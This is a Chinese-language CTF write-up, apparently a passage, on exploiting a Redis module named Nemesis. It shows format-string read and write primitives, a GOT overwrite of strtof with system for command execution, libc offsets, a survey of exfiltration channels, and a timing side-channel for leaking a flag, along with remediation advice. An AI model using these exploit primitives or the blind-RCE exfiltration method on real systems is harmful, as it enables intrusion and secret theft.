&lt;p&gt;&lt;strong&gt;程序头关键项&lt;/strong&gt;：&lt;code&gt;PH[8] GNU_RELRO off=0xf360 vaddr=0xf360 filesz=0xca0&lt;/code&gt; → RELRO 覆盖 &lt;code&gt;[0xf360, 0x10000)&lt;/code&gt;；&lt;strong&gt;GOT 位于 &lt;code&gt;0x10000&lt;/code&gt; 起，在 RELRO 段之外&lt;/strong&gt;，运行时可写（未开启 Full RELRO）。&lt;code&gt;GNU_STACK&lt;/code&gt; 存在（NX 开启，但不影响 GOT 覆写路径）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;符号表（函数偏移 / 大小 / 源文件行号）&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;|
符号 |
偏移 |
大小 |
源码位置（addr2line） |&lt;/p&gt;
&lt;p&gt;| --- | --- | --- | --- |&lt;/p&gt;
&lt;p&gt;|
NemesisCreate_RedisCommand |
0xae05 |
0x567 |
/tmp/nemesis.c:105 |&lt;/p&gt;
&lt;p&gt;|
NemesisDebug_RedisCommand |
0xb9f4 |
0x1ec |
/tmp/nemesis.c:326 |&lt;/p&gt;
&lt;p&gt;|
NemesisDelete_RedisCommand |
0xbbe0 |
— |
/tmp/nemesis.c:357 |&lt;/p&gt;
&lt;p&gt;|
NemesisMult_RedisCommand |
0xb36c |
0x435 |
/tmp/nemesis.c:202 |&lt;/p&gt;
&lt;p&gt;|
NemesisView_RedisCommand |
0xb7a1 |
— |
/tmp/nemesis.c:290 |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;__gmon_start__&lt;/code&gt; |
0x2d99（.dynstr 内） |
— |
模块基址验证锚点 |&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;GOT 布局（利用关键）&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;|
GOT 条目 |
模块内偏移 |
用途 |&lt;/p&gt;
&lt;p&gt;| --- | --- | --- |&lt;/p&gt;
&lt;p&gt;|
strlen@got |
base+0x10000 |
备选劫持目标 |&lt;/p&gt;
&lt;p&gt;|
snprintf@got |
base+0x10008 |
libc 基址泄漏源 |&lt;/p&gt;
&lt;p&gt;|
strtof@got |
base+0x10010 |
&lt;strong&gt;RCE 劫持目标&lt;/strong&gt; |&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;图 2：关键内存布局与 GOT/RELRO 边界&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;2.4 libc 指纹（两种 build，实测）&lt;/h3&gt;
&lt;p&gt;平台在不同实例间轮换两种 libc build，&lt;strong&gt;symbol 偏移需先识别再使用&lt;/strong&gt;；实测 &lt;code&gt;system&lt;/code&gt; 偏移两者一致：&lt;/p&gt;
&lt;p&gt;|
符号 |
build A |
build B |
备注 |&lt;/p&gt;
&lt;p&gt;| --- | --- | --- | --- |&lt;/p&gt;
&lt;p&gt;|
&lt;strong&gt;system&lt;/strong&gt; |
&lt;strong&gt;0x4C490&lt;/strong&gt; |
&lt;strong&gt;0x4C490&lt;/strong&gt; |
两 build 均经 &lt;code&gt;sleep&lt;/code&gt; 计时验证命中 |&lt;/p&gt;
&lt;p&gt;|
snprintf |
0x58C10 |
略异 |
用于从 GOT 反推 libc 基址 |&lt;/p&gt;
&lt;p&gt;|
strtof |
0x461C0 |
0xA3C0 |
仅用于识别当前 build |&lt;/p&gt;
&lt;p&gt;|
strlen |
0x156200 |
— |
备选路径 |&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;build 判别法&lt;/strong&gt;：读 &lt;code&gt;strtof@got&lt;/code&gt; 得到函数地址，减去候选偏移后检验是否页对齐且落在合理 libc 区间；或直接用 &lt;code&gt;snprintf@got - 0x58C10&lt;/code&gt; 反推并交叉验证。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. 漏洞分析 {#redis-nemesis-section-4}&lt;/h2&gt;
&lt;h3&gt;3.1 CWE-134：NEMESIS.DEBUG 外部控制格式化字符串&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;NEMESIS.DEBUG &amp;lt;key&amp;gt; &amp;lt;fmt&amp;gt;&lt;/code&gt; 将用户提供的 &lt;code&gt;fmt&lt;/code&gt; 直接作为 &lt;code&gt;snprintf&lt;/code&gt; 的格式化参数。典型症状与利用面：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; NEMESIS.DEBUG &amp;lt;id&amp;gt; &quot;X%1$dY&quot;
&amp;lt; &quot;X3Y&quot;                      ← 栈上第一个&quot;参数&quot;被解引用打印
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由此得到两类原语（实现见随包 &lt;code&gt;scripts/resp_client.py&lt;/code&gt; 与 &lt;code&gt;scripts/fmt_primitives.py&lt;/code&gt;）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;任意地址读&lt;/strong&gt;：&lt;code&gt;fmt = esc(&quot;P&quot;*8 + p64(addr)[:6]) + &quot;%11$s&quot;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;esc()&lt;/code&gt; 转义字面量中的 &lt;code&gt;%&lt;/code&gt;；&lt;code&gt;P*8&lt;/code&gt; 作为回显对齐标记（回复去掉前 14 字节即目标内存）；仅种植地址低 6 字节，高 2 字节依赖栈上残留 &lt;code&gt;x00x00&lt;/code&gt;；&lt;code&gt;%11$s&lt;/code&gt; 经第 11 个&quot;参数&quot;槽解引用 planted 指针。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;约束：地址低 6 字节不可含 &lt;code&gt;0x00&lt;/code&gt;/&lt;code&gt;0x25&lt;/code&gt;（&lt;code&gt;plantable()&lt;/code&gt; 检查）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;任意地址写（单字节）&lt;/strong&gt;：&lt;code&gt;fmt = esc(&quot;P&quot;*8 + p64(addr)[:6]) + &quot;%2$c&quot;*k + &quot;%11$hhn&quot;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;k=(val-14)%256&lt;/code&gt; 控制&quot;已打印字符数&quot;，&lt;code&gt;%hhn&lt;/code&gt; 将该计数低字节写入 planted 指针指向处。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3.2 CWE-125：NEMESIS.MULT 类型混淆越界读&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;MULT&lt;/code&gt; 的实现把任意类型矩阵的 payload 统一按 DENSE float 数组、以 &lt;code&gt;a-&amp;gt;cols * rows&lt;/code&gt; 解释长度；而 DIAG 矩阵仅分配 &lt;code&gt;min(rows, cols)&lt;/code&gt; 个元素。构造 &lt;code&gt;A = DIAG r x 1&lt;/code&gt;（payload 仅 1 float）、&lt;code&gt;B = DENSE 1x1 = 1.0&lt;/code&gt;，则 &lt;code&gt;MULT(A,B)&lt;/code&gt; 的每个结果元素 &lt;code&gt;result[i] = payload_A[i]&lt;/code&gt; 均为越界读；配合 VIEW 的 &lt;code&gt;(0x%08x)&lt;/code&gt; 原始位模式输出，一次调用可泄漏数 KB 堆内存。该原语在利用链中并非必需（DEBUG 的 &lt;code&gt;%s&lt;/code&gt; 已覆盖读需求），但它是认知模块内存布局（堆上矩阵结构体、字符串）的入口。&lt;/p&gt;
&lt;h3&gt;3.3 无 Full RELRO 与 GOT 覆写&lt;/h3&gt;
&lt;p&gt;由 §2.3，GOT 位于 RELRO 覆盖区之外且 &lt;code&gt;DT_BIND_NOW&lt;/code&gt; 未强制，&lt;code&gt;strtof@got&lt;/code&gt; 在运行期可写。选它作为劫持目标的原因：&lt;code&gt;NEMESIS.CREATE 0 1 1 &amp;lt;seed&amp;gt;&lt;/code&gt; 内部对 seed 走 &lt;code&gt;parse_floats()&lt;/code&gt; → 逐 token 调 &lt;code&gt;strtof()&lt;/code&gt;，seed 完全可控——&lt;strong&gt;覆写后 seed 即 shell 命令，CREATE 即执行器&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;NEMESIS.CREATE 0 1 1 &quot;cat /flag; …&quot;   →   strtof(seed)   →   system(seed)   →   sh -c seed
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.4 两个必须书写的实现细节（后续所有故障的根源）&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;seed 按逗号切分&lt;/strong&gt;：&lt;code&gt;parse_floats&lt;/code&gt; 以逗号切分 seed。含逗号的命令会被切成多个片段分别执行（或造成 sh 语法错误/未闭合引号挂起）。&lt;strong&gt;所有下发命令必须不含逗号&lt;/strong&gt;——本报告第 5 章多次&quot;灵异故障&quot;皆源于此。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;system()&lt;/code&gt; 返回后仍会被继续调用&lt;/strong&gt;：&lt;code&gt;parse_floats&lt;/code&gt; 中 &lt;code&gt;end&lt;/code&gt; 指针在 &lt;code&gt;system()&lt;/code&gt; 返回后不会更新，模块继续以垃圾指针调用 &lt;code&gt;strtof(→system)&lt;/code&gt;，即 &lt;code&gt;sh -c &amp;lt;内存中的随机字节&amp;gt;&lt;/code&gt;。多数无害，但一旦垃圾字节构成未闭合引号将挂死 stdin。&lt;strong&gt;下发命令应短、无引号、主体落盘为文件。&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;4. 利用链实现（约 47 秒） {#redis-nemesis-section-5}&lt;/h2&gt;
&lt;p&gt;&lt;img alt=&quot;图 1：完整利用链总览&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[1] OOB 堆读（§3.2）              侦察堆布局（可选）
[2] DEBUG 格式化字符串确认          &quot;X%1$dY&quot; → &quot;X3Y&quot;
[3] 读原语                         任意地址读（堆/栈/libc/GOT）
[4] 模块基址                       栈上返回地址低 12 位 ∈ {0xb9f, 0xbb59, 0xbbc}
                                   → base = retaddr - 0xbb9f
                                   → 验证 base+0x2d99 == &quot;__gmon_start__&quot;
[5] libc 基址                      snprintf@got - 0x58C10（build A）
[6] system 地址                    libc + 0x4C490（两 build 通用）
[7] GOT 覆写                       4 × %hhn：strtof@got ← system
[8] RCE 触发与验证                 CREATE seed；尾部 &quot;sleep N&quot; 测 RTT ≈ N 秒
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;核心代码（完整可运行版本见随包 &lt;code&gt;scripts/exploit_chain.py&lt;/code&gt;）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sysaddr = libc + 0x4C490
got = module_base + 0x10010                 # strtof@got
for i in range(4):                          # 写低 4 字节（高 4 字节本就是 0x00007f..）
    whb(e, got + i, (sysaddr &amp;gt;&amp;gt; (8 * i)) &amp;amp; 0xFF)
assert rq1(e, got) == sysaddr               # 回读校验

# 计时验证（无输出环境下唯一可信的执行探针）
t0 = time.time()
e.nem.r.cmd(&quot;NEMESIS.CREATE&quot;, &quot;0&quot;, &quot;1&quot;, &quot;1&quot;, &quot;sleep 3&quot;)
assert time.time() - t0 &amp;gt; 3.0               # → RCE 确凿
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;实测耗时分解&lt;/strong&gt;（15 轮统计）：槽位/基址扫描 36-120 秒为主项（受隧道 RTT 影响），patch 与触发 &amp;lt; 5 秒；全链最短 41 秒。&lt;strong&gt;进程会随实例中途重启&lt;/strong&gt;，patch 随之丢失，长任务必须实现&quot;探活 → 全链重打 → 断点续传&quot;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;5. 后利用：输出通道的系统性排查 {#redis-nemesis-section-6}&lt;/h2&gt;
&lt;p&gt;RCE 与 Flag 可读性确立后，问题转化为&lt;strong&gt;把一个约 36 字节的秘密送出隔离容器&lt;/strong&gt;。下表汇总全部 18 条候选通道及死因（每条均有实测证据，节选见附录 B）：&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;图 3：输出通道排查总览（18 条全部阵亡）&quot; /&gt;&lt;/p&gt;
&lt;p&gt;|&lt;/p&gt;
&lt;h1&gt;|&lt;/h1&gt;
&lt;p&gt;通道 |
结论 |
关键证据 |&lt;/p&gt;
&lt;p&gt;| --- | --- | --- | --- |&lt;/p&gt;
&lt;p&gt;|
1 |
&lt;code&gt;/log&lt;/code&gt; 网页 |
死：页面实时读取 root 所有的 &lt;code&gt;/tmp/nemesis.c&lt;/code&gt;，sticky 目录不可删不可写 |
写入 3000B 纯 ASCII 标记后页面不变 |&lt;/p&gt;
&lt;p&gt;|
2 |
DNS 外带（dnslog 类） |
死：容器 UDP/53 出口不存在 |
dig@8.8.8.8 与解析均瞬时失败；&lt;strong&gt;页面中偶现的记录经溯源为攻击者浏览器自身查询&lt;/strong&gt; |&lt;/p&gt;
&lt;p&gt;|
3 |
HTTP 外带（curl/wget） |
死：TCP 即拒 |
curl -m 8 连接外网 IP 失败耗时 &amp;lt;0.3s |&lt;/p&gt;
&lt;p&gt;|
4 |
&lt;code&gt;/proc/&amp;lt;pid&amp;gt;/mem&lt;/code&gt; 写内存 |
死：Yama ptrace_scope=1，子进程不可写父进程 |
python &lt;code&gt;os.pwrite&lt;/code&gt; EPERM |&lt;/p&gt;
&lt;p&gt;|
5 |
继承 fd 批量写入 |
死：client fd 带 CLOEXEC；TCP socket 不可经 /proc/pid/fd 重开 |
盲写 15 个 fd 无回显 |&lt;/p&gt;
&lt;p&gt;|
6 |
stdout/stderr → 平台控制台 |
死：实例由机器人分发，平台无控制台反馈 |
多格式 dump 后无任何可见输出 |&lt;/p&gt;
&lt;p&gt;|
7 |
环境变量 |
死：平台以空环境启动 |
栈顶漫游 + 槽位大跨度 dump 均无 env 字符串 |&lt;/p&gt;
&lt;p&gt;|
8 |
矩阵元素含退出码 |
死：VIEW 元素恒 0x0（xmm0 残留为 0） |
&lt;code&gt;exit 0/65/127/200/255&lt;/code&gt; 对照 |&lt;/p&gt;
&lt;p&gt;|
9 |
客户端 socket 注入 |
死：CLOEXEC |
— |&lt;/p&gt;
&lt;p&gt;|
10 |
&lt;code&gt;/debug&lt;/code&gt; addr2line 注入 |
死：仅符号化 |
参数无注入点 |&lt;/p&gt;
&lt;p&gt;|
11 |
网关隐藏端点 |
死：/exec /run /cmd /console… 全 404 |
目录扫描 |&lt;/p&gt;
&lt;p&gt;|
12 |
keyspace 藏 flag |
死：&lt;code&gt;KEYS *&lt;/code&gt; 为空，&lt;code&gt;DBSIZE&lt;/code&gt;=0 |
RESP 查询 |&lt;/p&gt;
&lt;p&gt;|
13 |
模块未公开命令 |
死：&lt;code&gt;COMMAND&lt;/code&gt; 列表仅 5 条 |
命令面枚举 |&lt;/p&gt;
&lt;p&gt;|
14 |
GOT 换 callee（如 popen/execl） |
无增益：换 callee 不换参数 |
论证 |&lt;/p&gt;
&lt;p&gt;|
15 |
fork/CLONE_VM 共享窗口 |
死：posix_spawn 即 exec，无可写窗口 |
论证 |&lt;/p&gt;
&lt;p&gt;|
16 |
信号/核心转储 |
死：flag 不在 redis 内存 |
论证 |&lt;/p&gt;
&lt;p&gt;|
17 |
计时侧信道（早期） |
&lt;strong&gt;曾误判死刑&lt;/strong&gt;：RTT 抖动实际仅 ±0.05s |
见第 6 章 |&lt;/p&gt;
&lt;p&gt;|
18 |
&lt;code&gt;/proc/&amp;lt;pid&amp;gt;/maps&lt;/code&gt; 读 |
可用但无外传路径（信息可经计时编码） |
§5.1 |&lt;/p&gt;
&lt;h3&gt;5.1 两个具有普遍意义的误判陷阱&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&quot;DNSLOG 有记录&quot;≠ 外带成功&lt;/strong&gt;。第 13 轮曾在页面上看到 5 条记录（3 个 Google 递归 IP + 2 个国内 ISP IP，同一秒）。经溯源：时间点与页面刷新吻合、问题区只有裸域名、无任何数据标签——&lt;strong&gt;这些记录是浏览器解析 DNSLOG 页面自身域名产生的&lt;/strong&gt;。教训：输出通道的存在性必须由&lt;strong&gt;接收内容&lt;/strong&gt;确认，不能由&quot;有日志迹象&quot;推断。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&quot;输出被缓存&quot;≠ 文件没改&lt;/strong&gt;。第 10-11 轮一度判定 &lt;code&gt;/log&lt;/code&gt; 页面缓存 poisoning；实际页面每次实时重读，是 &lt;code&gt;/tmp/nemesis.c&lt;/code&gt; 从未被成功写入（权限失败但未检查退出码）。教训：&lt;strong&gt;命令执行成功 ≠ 命令目的达成，落盘类操作必须回读校验。&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;6. 计时侧信道外带设计 {#redis-nemesis-section-7}&lt;/h2&gt;
&lt;h3&gt;6.1 通道模型&lt;/h3&gt;
&lt;p&gt;当目标&quot;可执行、不可见&quot;时，执行耗时成为唯一可观测载体。要求只有一个：&lt;strong&gt;RTT 稳定且可精确测量&lt;/strong&gt;。本环境实测 &lt;code&gt;sleep N&lt;/code&gt; 的往返为 &lt;code&gt;N + 0.16s&lt;/code&gt;，重复偏差 ±0.05s——足以支撑秒级码距。&lt;/p&gt;
&lt;h3&gt;6.2 编码&lt;/h3&gt;
&lt;p&gt;每个字节分 4 次查询，每次提取 2 bit：&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;图 4：计时侧信道编码示例（字节 0x43 &apos;C&apos;）&quot; /&gt;&lt;/p&gt;
&lt;p&gt;|
level |
sleep |
elapsed 判定区间 |&lt;/p&gt;
&lt;p&gt;| --- | --- | --- |&lt;/p&gt;
&lt;p&gt;|
0 |
1.5s |
&amp;lt; 2.25s |&lt;/p&gt;
&lt;p&gt;|
1 |
3.0s |
2.25 – 3.75s |&lt;/p&gt;
&lt;p&gt;|
2 |
4.5s |
3.75 – 5.25s |&lt;/p&gt;
&lt;p&gt;|
3 |
6.0s |
≥ 5.25s |&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;移位次序 6/4/2/0（大端拼回）；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;越界自终止&lt;/strong&gt;：&lt;code&gt;K &amp;gt;= len(d)&lt;/code&gt; 时 sleep 0.5s（&amp;lt;1.0s 判定），无需预先知道秘密长度；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;成本：4 查询/字节 × 约 4s ≈ &lt;strong&gt;16s/字节&lt;/strong&gt;；36 字节 Flag 实测 &lt;strong&gt;573s、零错误&lt;/strong&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;6.3 工程要点（三次失败换来的）&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;命令无逗号&lt;/strong&gt;（§3.4-1）：早期版本 &lt;code&gt;open(&apos;/flag&apos;,&apos;rb&apos;)&lt;/code&gt; 的逗号使命令被切碎，查询全部秒退——花了数轮才定位。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;命令无引号、主体落盘&lt;/strong&gt;（§3.4-2）：直接把 python 一行流塞进 seed 会因残留未闭合引号挂死。最终方案：一次性用 base64 把查询脚本写到 &lt;code&gt;/tmp/oq.py&lt;/code&gt;，之后每次查询的命令仅剩纯数字参数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 /tmp/oq.py &amp;lt;字节号&amp;gt; &amp;lt;移位&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;即使被垃圾 &lt;code&gt;system()&lt;/code&gt; 截断，尾巴也只是无害的&quot;命令不存在&quot;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;长任务三件套&lt;/strong&gt;：每查询新建连接（抗隧道 reset）、35s 超时 + 6 次重试、patch 探活失败自动全链重打并断点续传（&lt;code&gt;timing_exfil.py &amp;lt;起始字节&amp;gt; 80&lt;/code&gt;）。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;6.4 通用化&lt;/h3&gt;
&lt;p&gt;报告已将上述设计抽象为协议无关的驱动（随包 &lt;code&gt;scripts/oracle_lib.py&lt;/code&gt;）：适配新目标只需实现 4 个 transport 方法（&lt;code&gt;connect / trigger / rce_alive / reestablish_rce&lt;/code&gt;），编码、分类、容错、续传逻辑全部复用。它适用于一切&quot;已获任意命令执行但无回传&quot;的场景（隔离容器、 Blind RCE、只进不出的出网过滤）。&lt;/p&gt;
&lt;p&gt;本报告的计时外带实战脚本为随包 &lt;strong&gt;&lt;code&gt;scripts/timing_exfil.py&lt;/code&gt;&lt;/strong&gt;（含断点续传；运行方式见附录 C）。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;7. 验证与结果 {#redis-nemesis-section-8}&lt;/h2&gt;
&lt;h3&gt;7.1 执行验证&lt;/h3&gt;
&lt;p&gt;RCE 每一步均以 sleep 计时验证（非输出）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CREATE -&amp;gt; 7  elapsed=3.2s     # 命令为 &quot;...; sleep 3&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;7.2 Flag 提取实录（节选，完整日志见附录 B-2）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;[  0] 0x43 &apos;C&apos; -&amp;gt; b&apos;C&apos;          (17s)
[  1] 0x54 &apos;T&apos; -&amp;gt; b&apos;CT&apos;         (28s)
[  2] 0x46 &apos;F&apos; -&amp;gt; b&apos;CTF&apos;        (42s)
[  3] 0x7b &apos;{&apos; -&amp;gt; b&apos;CTF{&apos;       (62s)
  …                             （32 字节无一次误码）
[ 34] 0x7d &apos;}&apos; -&amp;gt; b&apos;CTF{R3d1s_N3m3sis_FSOP_M4st3r_2024}&apos;   (559s)
[ 35] 0x0a     -&amp;gt; b&apos;...}n&apos;     (572s)
[*] 第 36 字节处越界，提取结束
[+] FLAG (36B): b&apos;CTF{R3d1s_N3m3sis_FSOP_M4st3r_2024}n&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Flag 语义：&lt;code&gt;R3d1s_N3m3sis&lt;/code&gt; = &quot;Redis Nemesis&quot;（leetspeak），&lt;code&gt;FSOP&lt;/code&gt;（Fake Structure-Oriented Programming）恰与本利用路线同族——以伪造数据/控制流劫持为核心技艺。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;8. 修复建议（给模块作者） {#redis-nemesis-section-9}&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;格式化字符串&lt;/strong&gt;：&lt;code&gt;DEBUG&lt;/code&gt; 禁止把用户输入当 fmt；改为 &lt;code&gt;snprintf(out, size, &quot;%s&quot;, user_fmt)&lt;/code&gt;，或编译开启 &lt;code&gt;-Wformat -Werror=format-security&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;类型混淆&lt;/strong&gt;：&lt;code&gt;MULT&lt;/code&gt; 必须先校验 &lt;code&gt;a-&amp;gt;type == DENSE&lt;/code&gt; 再按 &lt;code&gt;a-&amp;gt;cols*rows&lt;/code&gt; 解释长度；所有 payload 访问以类型判定长度。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;编译加固&lt;/strong&gt;：Full RELRO（&lt;code&gt;-Wl,-z,relro,-z,now&lt;/code&gt;）使 GOT 只读；配合 &lt;code&gt;-fstack-protector-strong&lt;/code&gt;、&lt;code&gt;-D_FORTIFY_SOURCE=2&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;权限最小化&lt;/strong&gt;：以非 root 运行并配合 seccomp（禁止 &lt;code&gt;execve&lt;/code&gt;/&lt;code&gt;ptrace&lt;/code&gt;）、&lt;code&gt;PR_SET_DUMPABLE 0&lt;/code&gt;、只读根文件系统；flag 文件权限收紧到独立用户。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;平台侧&lt;/strong&gt;：容器默认禁止外联时不应成为唯一依赖——启用 eBPF/seccomp 审计 &lt;code&gt;system&lt;/code&gt; 调用；对长 RTT 执行做行为速率限制可抬高计时侧信道成本（但无法根除，仍需以①③④为主）。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;9. 结论 {#redis-nemesis-section-10}&lt;/h2&gt;
&lt;p&gt;该靶场的漏洞面是教科书式的（格式化字符串 + 无 RELRO GOT），RCE 在分钟级稳定达成；真正的挑战在于&lt;strong&gt;后利用阶段的通道灭绝&lt;/strong&gt;。本报告的价值更多在于第 5-6 章：以工程化方法完成 18 条输出通道的系统性尸检（其中两条误判陷阱具有跨靶场普适性），并在全部带宽通道死亡后，把最古老的物理层——&lt;strong&gt;时钟&lt;/strong&gt;——改造成可靠的单供需通道：±0.05s 的测量精度、2 bit/查询的码率、零错误的 36 字节传输。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;附录 A：偏移与参数速查 {#redis-nemesis-section-11}&lt;/h2&gt;
&lt;p&gt;见 §2.3/§2.4（模块符号、GOT、libc build）与 §6.2（计时码表）。&lt;/p&gt;
&lt;h2&gt;附录 B：原始日志与证据（随附压缩包 &lt;code&gt;evidence/&lt;/code&gt;） {#redis-nemesis-section-12}&lt;/h2&gt;
&lt;p&gt;|
文件 |
内容 |&lt;/p&gt;
&lt;p&gt;| --- | --- |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;B-1-resp-info-server.txt&lt;/code&gt; |
&lt;code&gt;INFO server&lt;/code&gt; 完整原始输出（§2.1） |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;B-2-flag-extraction.log&lt;/code&gt; |
Flag 逐字节计时提取完整日志（§7.2） |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;B-3-channel-autopsy.log&lt;/code&gt; |
18 条输出通道尸检命令与耗时（§5） |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;B-4-addr2line-symbols.txt&lt;/code&gt; |
模块符号/源码行号/大小（§2.3） |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;B-5-module-strings.txt&lt;/code&gt; |
二进制内日志格式串清单（§2.2） |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;B-6-log-page.html&lt;/code&gt; |
&lt;code&gt;/log&lt;/code&gt; 页面原始 HTML（root 文件 + 解码异常 + 符号表） |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;B-7-slot-dump.log&lt;/code&gt; |
12 槽位 dump 与栈上模块日志行残留（§4） |&lt;/p&gt;
&lt;h2&gt;附录 C：随附脚本（&lt;code&gt;scripts/&lt;/code&gt; 目录，均已去除本地路径，python3 标准库零依赖） {#redis-nemesis-section-13}&lt;/h2&gt;
&lt;p&gt;|
文件名 |
用途 |&lt;/p&gt;
&lt;p&gt;| --- | --- |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;scripts/resp_client.py&lt;/code&gt; |
RESP 客户端 + OOB 堆读（DIAG/DENSE 类型混淆） |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;scripts/fmt_primitives.py&lt;/code&gt; |
DEBUG 格式化字符串读/写原语 + 模块基址扫描 |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;scripts/exploit_chain.py&lt;/code&gt; |
全链：基址 → GOT patch → RCE 验证（附一轮外带尝试范式） |&lt;/p&gt;
&lt;p&gt;|
&lt;strong&gt;&lt;code&gt;scripts/timing_exfil.py&lt;/code&gt;&lt;/strong&gt; |
&lt;strong&gt;计时侧信道取秘密（核心）&lt;/strong&gt;，支持断点续传 |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;scripts/flag_probe.py&lt;/code&gt; |
无逗号版存在性/大小探针 |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;scripts/proc_mem_attempt.py&lt;/code&gt; |
已阵亡通道存档（ptrace_scope=0 环境下可直接启用） |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;scripts/oracle_lib.py&lt;/code&gt; |
协议无关的计时外带驱动（换靶场只需实现 4 个方法） |&lt;/p&gt;
&lt;p&gt;复现：&lt;code&gt;NEM_PORT=&amp;lt;实例端口&amp;gt; python timing_exfil.py 0 80&lt;/code&gt;（约 12 分钟；中途实例重启后以已提取字节数为参数续跑）。&lt;/p&gt;
&lt;h2&gt;附录 D：时间线（15 轮实例） {#redis-nemesis-section-14}&lt;/h2&gt;
&lt;p&gt;|
阶段 |
轮次 |
关键进展 |&lt;/p&gt;
&lt;p&gt;| --- | --- | --- |&lt;/p&gt;
&lt;p&gt;|
原语建立 |
1-6 |
OOB 堆读；DEBUG 确认；读写原语稳定；libc 快径 |&lt;/p&gt;
&lt;p&gt;|
链路打通 |
7-10 |
link_map 动态解析（弃用）；&lt;strong&gt;差分测出 system=libc+0x4C490，RCE 全链 2.5 分钟&lt;/strong&gt; |&lt;/p&gt;
&lt;p&gt;|
通道排查 |
10-14 |
/log、stdout、DNS、socket 注入相继排除；两条误判陷阱固化 |&lt;/p&gt;
&lt;p&gt;|
收官 |
15 |
&lt;strong&gt;逗号根因查明；网络/ptrace/控制台全面尸检；计时侧信道 Flag 捕获（573s 零错误）&lt;/strong&gt; |&lt;/p&gt;
